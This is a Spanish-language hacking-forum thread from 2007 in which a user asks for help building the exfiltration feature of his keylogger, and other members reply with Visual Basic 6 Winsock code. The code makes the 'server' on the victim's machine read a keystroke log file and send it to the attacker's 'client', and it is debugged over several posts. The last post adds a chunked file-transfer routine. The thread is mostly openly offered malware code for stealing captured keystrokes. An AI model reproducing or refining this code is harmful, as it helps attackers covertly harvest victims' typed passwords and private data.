abrir txt leerlo y enviarlo

Iniciado por K-19, 24 Enero 2007, 19:52 PM

0 Miembros y 1 Visitante están viendo este tema.

K-19

pues eso quiero hacer una funcion para el keylogger que seria la siguiente, cuando yo le de a un boton, quiero que el server me lea un .txt que se encuentra en C:\ y me mande los datos, y cuando lleguen al cliente quiero que el cliente los meta en un textbox para yo leerlo. yo tengo algo asi pero no me funciona.

Server.exe (DataArrival)
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos
Dim keys
Winsock1.GetData datos
If datos = "keylog" Then
Open "c:\archivo.txt" For Append As #1
Print #1, Text4.Text
Close #1
keys = Text4.Text
Winsock1.SendData keys
End If
End Sub



Cliente.exe (DataArrival)
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim datos
If datos = "keys" Then
Text1.Text = keys
End If
End Sub



si alguien podria decirme como es mas o menos se lo agradezco mucho :)

Sancho.Mazorka

Mira cometiste un par de errores como usar el metodo de agregar texto a un archivo ( Append ) cuando tenia que ser de entrada ( Input )

Server.exe (DataArrival)
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos as string
Dim keys as string
Winsock1.GetData datos
If datos = "keylog" Then
Open "c:\archivo.txt" For Input As #1
Input #1, Text4.Text
Close #1
keys = Text4.Text
Winsock1.SendData "Keylog" & keys
End If
End Sub


Cliente.exe (DataArrival)
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim Datos as string
If left(Datos,6) = "Keylog" Then
Text1.Text = Right(Datos,Len(Datos) - 6)
End If
End Sub


Espero que te sirva, talvez que me equivoque con el input, avisame si es asi.



Sancho.Mazorka    :P
Ganador Xeon Web Server ! ! !    Sancho.Mazorka :D
http://foro.elhacker.net/index.php/topic,171903.75.html



K-19

me sigue dando el mismo error, me dice unsuported variant type, el error me da al darle al boton, q le puse ws.senddata keylog y lo de input #1, text4.text no me dejo ponerlo asi, tuve q meter text4.text en una variable, alguna sugerencia?

gracias

~~

Server.exe (DataArrival)

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos as string
Dim keys as string
Winsock1.GetData datos
If datos = "keylog" Then
Open "c:\archivo.txt" For binary As #1
put #1, Text4.Text
Close #1
keys = Text4.Text
Winsock1.SendData "Keylog" & keys
End If
End Sub


Cliente:
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim Datos as string
If left(Datos,6) = "Keylog" Then
Text1.Text = Mid(Datos,7)
End If
End Sub


He cambiado un par de cosas. Si te sigue dando error dime la linea y lo miro ;)

1S4ludo

K-19

esta linea me da un error :S
put #1, Text4.Text

me dice, Expected: list separator

K-19

#5
bueno buscando y buscando encontre manuales y ejemplos en ingles y lo apliqué, lo pongo por aqui por si interesa:

Server.exe (DataArrival)
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim keys As String
WS.GetData datos
If datos = "keylog" Then
Open "c:\archivo.txt" For Input As #1
While Not EOF(1)
Line Input #1, temp$
alltext$ = alltext$ & temp$ & vbCrLf
Wend
Text4.text = alltext$
Close #1
keys = Text4.text
WS.SendData "Keylog" & keys
End If
End Sub

~~

Si, tienes razon le falta una oma que me e comido:
Put #1, , Text4.Text

Una cosa. Ese code q has puesto no funciona si el archivo es muy grande (haz la prueva) por q el ws parte las cadenas q envia, tienes q hacerlo asi:

Server:

Private Sub Form_Load()
ws.Close
ws.Connect "127.0.0.1", 2848
End Sub

Private Sub ws_Connect()
ws.SendData "Tam:" & FileLen("C:\Prueba.txt")
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Dim Send As String
ws.GetData data

If Left(data, 8) = "SendFile" Then
Open "C:\Prueba.txt" For Binary As #1
Send = Space(LOF(1))
Get #1, , Send
Close #1

ws.SendData Send
End If

End Sub


Cliente:

Dim DataFile As String
Dim LenFile As Long
Dim Envio As Boolean

Private Sub Form_Load()
ws.LocalPort = 2848
ws.Listen
Envio = False
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim data As String
ws.GetData data

If Envio = True Then
DataFile = DataFile & data
ProgressBar1.Value = Len(DataFile)
If Len(DataFile) = LenFile Then
Open "C:\Prueba2.txt" For Binary As #1
Put #1, , DataFile
Close #1
DataFile = ""
MsgBox "El Fichero se a Enviado Correctamente"
Envio = False
ProgressBar1.Value = 0
End If
End If

If Left(data, 4) = "Tam:" Then
LenFile = Mid(data, 5)
ProgressBar1.Max = LenFile
Envio = True
ws.SendData "SendFile"
End If


He puesto ademas para que salga un ProgressBar1  si no lo quieres simplemente elimina estas lineas:

ProgressBar1.Max = LenFile
ProgressBar1.Value = 0
ProgressBar1.Value = Len(DataFile)


1S4ludo

K-19

muchas gracias E0N, ya lo pruebo mañana  :rolleyes: la verdad es que si, me fije que cuando el .txt llegaba a un cierto tamaño pues no lo enviaba todo, e iba a postear la duda pero como el foro me lleva unos dias dando problemas, supongo q a todos, pues hasta hice que cuando llegue a un cierto tamaño pues moviera el txt a otro directorio y crear otro nuevo y asi. pero mejor como tu lo hicistes, menos engorroso xD gracias ;)